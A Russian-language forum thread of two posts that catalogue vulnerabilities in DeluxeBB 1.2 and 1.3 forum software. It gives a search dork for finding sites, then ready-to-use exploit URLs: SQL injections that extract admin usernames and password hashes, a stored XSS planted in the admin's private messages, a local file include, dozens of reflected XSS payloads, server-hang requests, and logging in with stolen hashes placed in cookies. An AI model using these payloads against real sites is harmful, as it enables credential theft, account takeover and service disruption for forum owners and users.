Старый 04.07.2010, 15:20   #1
Grey
 
Аватар для Grey
 
Регистрация: 30.06.2010
Сообщений: 38
По умолчанию Уязвимости DeluxeBB

DeluxeBB <= 1.2 (BLIND SQL INJ)

Офф сайт: http://www.deluxebb.com
Дорк: "is copyrighted to the DeluxeBB"
Алгоритм хеширования паролей: md5()

Уязвим файл forums.php. Уязвимый кусок кода:

Код:
$threads = $db->query("SELECT t.*,u.username FROM ".$prefix."threads t LEFT JOIN ".$prefix."users u ON (t.author=u.uid) WHERE (t.fid='$fid' && t.lastpostdate>='$posttime') ORDER BY t.pinned $sort,t.lastpostdate $sort LIMIT $pageinfo[0], $pageinfo[1]");
Переменная $sort не фильтруется. А значит можно менять порядок сортировки с помощью подзапросов:

Код:
http://site/forum/forums.php?fid=2&sort=,t.views*if((select+1)=1,1,-1)/*
Смотрим названия тем которые стоят на первом месте.
А теперь делаем так:

Код:
http://site/forum/forums.php?fid=2&sort=,t.views*if((select+1)=2,1,-1)/*
В результате темы меняют порядок следования.
На этом мы и построим проверку правильности выполнения подзапроса. Всё что нам понадобится это что бы на форуме были две (или более) темы с разным количеством просмотров, но и то и то сделать в любом случае будет не проблема.

DeluxeBB <= 1.2 (Пассивная XSS)

Код:
http://site/forum/misc.php?sub=memberlist&searchuser="><script>alert(123);</script>

DeluxeBB <= 1.2 (SQL инъекция)


Кстати аналогичная скуля была в версии 1.06, но в новых версиях она, конечно же, давно исправлена.
Уязвим файл misc.php. Уязвимый кусок кода:

Код:
if($order == "name") { $qorder = "ORDER BY username"; }
if($order == "regdate") { $qorder = "ORDER BY joineddate"; }
if($order == "posts") { $qorder = "ORDER BY posts"; }
if($order == "lastpost") { $qorder = "ORDER BY lastpost"; }

...

$getsel = $db->query("SELECT * FROM ".$prefix."users ".$qfilter." ".$qorder." ".$sort." LIMIT ".$pageinfo[0].",".$pageinfo[1]);
До этого участка кода переменная $qorder нигде не определяется, что даёт нам возможность замутить sql инъекцию:

Код:
http://site.ru/forum/misc.php?sub=memberlist&filter=ad&searchuser=1&custom=1&qorder=and+1=2+union+select+1,concat(username,char(58),pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+deluxebb_users/*
2008 © Grey

Последний раз редактировалось Grey; 04.07.2010 в 15:34..
Grey вне форума   Ответить с цитированием
Старый 22.08.2010, 20:33   #2
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

DeluxeBB 1.3
Dork: "DeluxeBB 1.3 is copyrighted"

Многие уязвимости основываются вот на этом уязвимом месте, поэтому не стал его в каждую писать
File: header.php
PHP код:
##Fix for superglobals
$list = array('_POST''_GET''_ENV''_SERVER');
foreach(
$list as $element) {
    if(!empty($
$element) && is_array($$element) ) {
        
extract($$elementEXTR_SKIP);
    }

SQL-Injection / Читалка файлов
magic_quotes Off
File: topic.php
PHP код:
//pid и filename попадают в запрос без фильтрации
if($sub == 'attachment') {
    
$query $db->query("SELECT a.*,p.postdate FROM ".$prefix."attachments AS a, ".$prefix."posts AS p WHERE (a.pid=p.pid && p.pid='$pid' && a.filename='".$filename."')");
    
$info $db->fetch_array($query);
    
$db->unbuffered_query("UPDATE ".$prefix."attachments SET downloads=downloads+1 WHERE (pid='$pid')");
    
$attachurl $settings['attachdir'].utf8_decode($info['filename']).'-'.$info['postdate']. '.'.'ext';
    ...
    @
readfile($attachurl);

Эксплуатация:
Тема должна существовать
Код:
http://deluxebb/topic.php?sub=attachment&tid=1&pid=1&filename=' and 1=2) union select 1,2,'../settings/info.php%00',3,4,5,6,7 -- -&topicseperatorimage=1
http://deluxebb/topic.php?sub=attachment&tid=1&pid=1'+and+1=1)+--+-
Insert SQL-Injection / Active XSS
magic_quotes Off
File: topic.php
PHP код:
// $author попадает в $msg без фильтрации, а потом и в запрос
if($sub == 'report' && isset($tid) && isset($pid)) {
    
$pid = @intval($pid);
    require(
'./header_html.php');
    
bar($bar_seperator.'<a href="forums.php?fid='.$info['fid'].'">'.$info['name'].'</a>'.$bar_seperator.'<a href="topic.php?tid='.$info['tid'].'">'.$info['subject'].'</a>'.$bar_seperator.$bar_reporting);
    if(
$submit==$lang_send) {
        
$timenow time();
        
$reason $db->escape($reason);
        if(
$settings['htmloff']==0) {
            
$msg '<a href="topic.php?tid='.$tid.'#'.$pid.'">'.$lang_directlink.'</a><br />'.$lang_author.' '.$author.'<br /><br />'.$reason;
        } else {
            
$msg $lang_directlink.': '.$fullpath."topic.php?tid=$tid#$pid\n$lang_author $author\n\n$reason";
        }
        if(
usercheck()) {
            
$db->unbuffered_query("INSERT INTO ".$prefix."pm VALUES (NULL, '$settings[headadmin]', '".$_COOKIE['membercookie']."', 'Reporting a post', '$msg', 'exclamation.gif', 'no', '$timenow', 'inbox')"); 
Эксплуатация:
Код:
http://deluxebb/topic.php?sub=report&tid=1&pid=1&submit=Send&reason=1&author=',[XSS Picture],'no',1300000000,'inbox'),(null,<ник админа>,[XSS Author],[XSS Subject],[XSS Message],[XSS Picture],'no',1300000000,'inbox') -- -
Админу придет 2 письма, первое - репорт о баге, второе с xss. Либо во втором можно сделать подзапрос и послать себе хэш админа.
Код:
http://deluxebb/topic.php?sub=report&tid=1&pid=1&submit=Send&reason=1&author=','\"><script>alert(1)</script>','no',1300000000,'inbox') -- -
При таком варианте можно даже не открывать письмо.


Blind SQL-Injection
File: misc.php
PHP код:
//additions изначально не определена
if($combine == 'all') {
    foreach(
$words as $x) {
        if(
$show=='both') {
            
additions .= " && (p.message LIKE '%$x%' || t.subject LIKE '%$x%')";
        } elseif(
$show=='titles') {
            
$additions .= " && t.subject LIKE '%$x%'";
        } elseif(
$show=='posts') {
            
$additions .= " && p.message LIKE '%$x%'";
        }
    }
... 
//добавление еще кучу условий поиска
$getnum $db->query("SELECT count(*) FROM ".$prefix."forums f LEFT JOIN ".$prefix."threads t ON (f.fid=t.fid) LEFT JOIN ".$prefix."posts p ON (t.tid=p.tid) LEFT JOIN ".$prefix."users u ON (t.author=u.uid) WHERE (t.lastpostdate>='$stamp' && f.redirect='' && f.password=''".$additions.") GROUP BY t.tid");
$totalrows $db->num_rows($getnum);
$pageinfo multipage($totalrows$page$settings['ompp'], 'misc.php?sub=search'$multipagestr);
$query $db->query("SELECT t.*,f.viewstatus,f.userlist,u.uid,u.username FROM ".$prefix."forums f LEFT JOIN ".$prefix."threads t ON (f.fid=t.fid) LEFT JOIN ".$prefix."posts p ON (t.tid=p.tid) LEFT JOIN ".$prefix."users u ON (t.author=u.uid) WHERE (t.lastpostdate>='$stamp' && f.redirect='' && f.password=''".$additions." && t.moved='0') GROUP BY t.tid ".$sort." LIMIT ".$pageinfo[0].",".$pageinfo[1]); 
Эксплуатация:
Если в /classes/mysql.php включен debug (что мало вероятно), то
Код:
http://deluxebb/misc.php?additions=)+group+by+concat(left((select+concat(username,0x3a,pass)+from+deluxebb_users+limit+1),64),0x3a,floor(rand(0)*2))+having+min(0)+--+&sub=search&page=1&age=beginning&text=%&show=both&combine=any&theforum=allforums&order=title&ascdesc=asc#
Иначе, судя по всему, придется крутить как слепую, так как там 2 запроса и при ошибке сразу exit().
Код:
http://deluxebb/misc.php?additions=)+and+if((mid(version(),1,1)=5),1,(select+1+union+select+2))+--+&sub=search&page=1&age=beginning&text=%&show=both&combine=any&theforum=allforums&order=title&ascdesc=asc#
Insert/Update SQL-Injection
File: newpost.php
PHP код:
@extract($_FILES);
...
if(
$attachment==&& $settings['allowattach']==1) {
    
$saveit $settings['attachdir'] . $filename '-' $time '.' 'ext';
    
copy($fileupload['tmp_name'], $saveit);
    
$db->unbuffered_query("INSERT INTO `".$prefix."attachments` ( `aid` , `pid` , `filename` , `ext` , `type` , `size` , `downloads` ) VALUES (NULL, '$pid', '".utf8_encode($filename)."', '$ext', '$fileupload[type]', '$fileupload[size]', '0')");

Эксплуатация:
Создаем тему/сообщение с картинкой в аттаче, перехватываем запрос, в Content-Type суем свои данные.
Например:
Код:
',0,0),(null,14,(select concat_ws(0x3a,username,pass) from deluxebb_users limit 1),'txt','text/plain',0,0) -- -
В посте под номером 14 будет аттач в имени которого будет логин и хэш главного админа.
Если в посте уже был аттач, то отображается только первый, поэтому выбираем пост без аттача.

Аналогично можно сделать инъекцию при обновлении аттача в своем сообщении.
При этом нужно знать его aid (а его, по моему, нигде не узнаешь) или заменять у всех.
Запрос будет примерно такой
Код:
',filename=(select concat_ws(0x3a,username,pass) from deluxebb_users limit 1),ext='txt' where aid=<aid> -- -
Update SQL-Injection / Active XSS
magic_quotes Off
Необходимы права на редактирования тем

File: postmod.php
PHP код:
//$mfid не определена и попадает в запрос без фильтрации
if($sub == 'move') {
    if(
$submit==$lang_move) {
        
$db->unbuffered_query("UPDATE ".$prefix."threads SET fid='$mfid' WHERE (tid='$tid')"); 
Эксплуатация:
Код:
http://deluxebb/postmod.php?tid=1&sub=move&submit=Move&mfid=',fid=<fid>,subject='<script>alert(1)</script>' where tid=<tid> -- -
http://deluxebb/postmod.php?tid=1&sub=move&submit=Move&mfid=',fid=<fid>,subject=(select concat_ws(0x3a,username,pass) from deluxebb_users limit 1) where tid=<tid> -- -
Тема <tid> будет перенесена в форум <fid> и у нее в названии будет ваш запрос.
Так же можно изменить lastpostby.

Local File Include
magic_quotes Off
File: cp.php
PHP код:
if ($sub == 'settings') {
...
  
$vars = array('xemail''xmsn''xaim''xyim''xlocation''xsite''xthetimeoffset''xthetimeformat''xthedateformat''skinx''languagex');
            for(
$x=0;$x<count($vars);$x++){
                ${
$vars[$x]} = $db->escape(html(${$vars[$x]}));
              }
...
  
$db->unbuffered_query("UPDATE ".$prefix."users SET email='$xemail', msn='$xmsn', icq='$xicq', aim='$xaim', yim='$xyim', location='$xlocation', site='$xsite', skin='$skinx', language='$languagex', hideemail='$xhideemail', timeoffset='$xthetimeoffset', dateformat='$xthedateformat', timeformat='$xthetimeformat', pmnotify='$pmnotify', markposts='$markposts', invisible='$invisiblebrowse', valnum=$valnum WHERE (username='".$_COOKIE['membercookie']."' && uid='".$_COOKIE['memberid']."' && pass='".$_COOKIE['memberpw']."')"); 
File: header.php
PHP код:
if($_COOKIE['membercookie']) {
    if(
$member['language']!='' && $member['language']!='default' && file_exists("lang/$member[language].php")) {
        
$langfile $member['language'];
    } else {
        
$langfile $settings['language'];
    }
} else {
    
$langfile $settings['language'];
}

require_once(
'lang/'.$langfile.'.php'); 
Эксплуатация:
Идем в "Member Cp" -> "Personal settings", обновляем данные о себе, перехватываем запрос.
Устанавливаем languagex=../[local_file]%00
Обновляем страницу.
language varchar(20)
Можем использовать не более 20 символов...

SQL-Injection
magic_quotes Off
File: header.php
PHP код:
if(usercheck()) {
    if(
$member['skin']!='default' && $member['skin']!='') {
        
$theskinname $member['skin'];
    } else {
        
$theskinname $settings['skin'];
    }
} else {
    
$theskinname $settings['skin'];
}
$getskin $db->query("SELECT * FROM ".$prefix."skins WHERE (skinname = '$theskinname')");
$theskin $db->fetch_array($getskin);
extract($theskin); 
Эксплуатация:
Идем в "Member Cp" -> "Personal settings", обновляем данные о себе, перехватываем запрос.
Устанавливаем skinx=')[SQL]/*
Обновляем страницу.
skin varchar(30)
Можем использовать не более 30 символов... А жаль, так как после идет extract, и если бы мы могли изменить логику запроса, то смогли заменить skinname, images, smiliepath, templatefolder, logourl, comment из чего вылезло бы еще несколько xss и lfi.

Passive XSS
Если у пользователя выключен Invisible Mode
Код:
http://deluxebb/?invinput=<script>alert(1)</script>
Если на форуме нет модераторов
Код:
http://deluxebb/forums.php?fid=1&modbar=<script>alert(1)</script>
Вместо TEXT - любое слово из подписи пользователя.
Код:
http://deluxebb/misc.php?sub=profile&uid=1&codecache2[TEXT]=<script>alert(1)</script>
Вместо TEXT - любое слово из личного сообщения.
Код:
http://deluxebb/pm.php?sub=view&pid=1&codecache2[TEXT]=<script>alert(1)</script>
Вместо TEXT - любое слово из подписи/сообщения/заголовка сообщения.
Код:
http://deluxebb/topic.php?tid=19&codecache2[TEXT]=<script>alert(1)</script>
Если в форуме <fid> тем больше, чем на 1 страницу
Код:
http://deluxebb/forums.php?fid=1&add="><script>alert(1)</script>
Если в форуме <fid> хотя бы у 1 темы сообщений больше чем на 1 страницу
Код:
http://deluxebb/forums.php?fid=1&topic_pagelinks=<script>alert(1)</script>
Если есть пустой форум
Код:
http://deluxebb/index.php?lp2=<script>alert(1)</script>
Если отключена каптча
Код:
http://deluxebb/misc.php?sub=register&submit=Register&pass=123&pass2=321&gmtimemsg=<script>alert(1)</script>
В зависимости от настроек времени отобразит либо первый check, либо второй
Код:
http://deluxebb/misc.php?sub=register&check24=><script>alert(1)</script>&check12=><script>alert(1)</script>
Если у первого юзера в списке не указан сайт или скрыт email - код выполнится (в поиске можно использовать параметры, чтобы нужный юзер стал первым)
Код:
http://deluxebb/misc.php?sub=memberlist&site=<script>alert(1)</script>
http://deluxebb/misc.php?sub=memberlist&email=<script>alert(1)</script>
У пользователей guest и invisible (uid=2 и uid=3) можно определить переменную status
Код:
http://deluxebb/misc.php?sub=profile&uid=3&status=<script>alert()</script>
Если результат поиска больше чем на 1 страницу
Код:
http://deluxebb/misc.php?multipagestr="><script>alert(1)</script>&sub=search&page=1&age=beginning&text=asd&show=both&combine=any&theforum=allforums&order=title&ascdesc=asc
http://deluxebb/misc.php?age=1"><script>alert(1)</script>&sub=search&page=1&text=%&show=both&combine=any&theforum=allforums&order=title&ascdesc=asc
http://deluxebb/misc.php?age=1&sub=search&page=1&text=%+'>"><script>alert(1)</script>&show=both&combine=any&theforum=allforums&order=title&ascdesc=asc
http://deluxebb/misc.php?age=1&sub=search&page=1&text=%&show=both&combine=any"><script>alert(1)</script>&theforum=allforums&order=title&ascdesc=asc
http://deluxebb/misc.php?notcontaining=%+'>"><script>alert(1)</script>&age=1&sub=search&page=1&text=%&show=both&combine=any&theforum=allforums&order=title&ascdesc=asc
http://deluxebb/misc.php?user=%&usercheck="><script>alert(1)</script>&age=1&sub=search&page=1&text=%&show=both&combine=any&theforum=allforums&order=title&ascdesc=asc
http://deluxebb/misc.php?ascdesc="><script>alert(1)</script>&age=1&sub=search&page=1&text=%&show=both&combine=any&theforum=allforums&order=title&
Код:
http://deluxebb/newpost.php?sub=newpost&tid=1&preview=Preview&subject=1&rte1=z&disablesmilies=0&codecache2[TEXT]=<script>alert(1)</script>
http://deluxebb/newpost.php?sub=newthread&fid=3&tdbgcolor="><script>alert(1)</script>
http://deluxebb/newpost.php?sub=newthread&fid=3&add=><script>alert(1)</script>
http://deluxebb/pm.php?sub=newpm&reply=1&topicaltcolor="><script>alert(1)</script>
http://deluxebb/pm.php?sub=view&pid=1&details=<script>alert(1)</script>
Path Disclosure
register_globals=On
Код:
http://deluxebb/footer.php?footer=false
http://deluxebb/footer.php?settings=1
Без условий
Код:
http://deluxebb/header_html.php
Небольшие фичи

Обход сообщения о технических работах: добавляем в запрос maintenance=1

Грузим сервак:
Если результатов больше чем на одну страницу
Код:
http://deluxebb/pm.php?sub=folder&name=inbox&page=string
http://deluxebb/misc.php?page=asd&age=1&sub=search&text=%&show=both&combine=any&theforum=allforums&order=title
http://deluxebb/misc.php?sub=viewposts&uid=1&page=string
http://deluxebb/misc.php?sub=memberlist&page=string
http://deluxebb/forums.php?fid=1&page=string
http://deluxebb/topic.php?tid=1&page=string
File: forums.php
PHP код:
//$page не определена
$pageinfo multipage($nrows$page$settings['tppf'], "forums.php?fid=$fid"$add); 
File: tools.php
PHP код:
function multipage($totalrows$page=1$pagelimit=20$pagename=''$add='') {
    ...
        for(
$x $page$x $page_minimum$x--) {
            if(
$x != $page) {
                
$multipage "<a href=\"$pagename&amp;page=$x$add\">$x</a>&nbsp;" $multipage;
            }
        } 
То есть если определить $page как строку, то получаем бесконечный цикл, так как
PHP код:
$x='asd';
echo 
$x//asd
echo --$x//asd 
При создании темы/поста заливаем файла с расширением .Php3
Получаем бесконечный цикл, stristr находит ".php", так как она регистронезависимая, а str_replace не находит ".php"
PHP код:
        while(stristr($fileupload['name'], '.php')) {
            
$fileupload['name'] = str_replace('.php'''$fileupload['name']);
        } 
Авторизация: Брутить админские хэши не обязательно, можно просто подставить в куки

Логи: http://deluxebb/logs/cp.php (ники/ip/запросы из админки)


PS: файлы admincp.php и cp.php вообще почти не смотрел, так что там еще кучу дырок можно выловить

Последний раз редактировалось BlackFan; 22.08.2010 в 21:50..
BlackFan вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot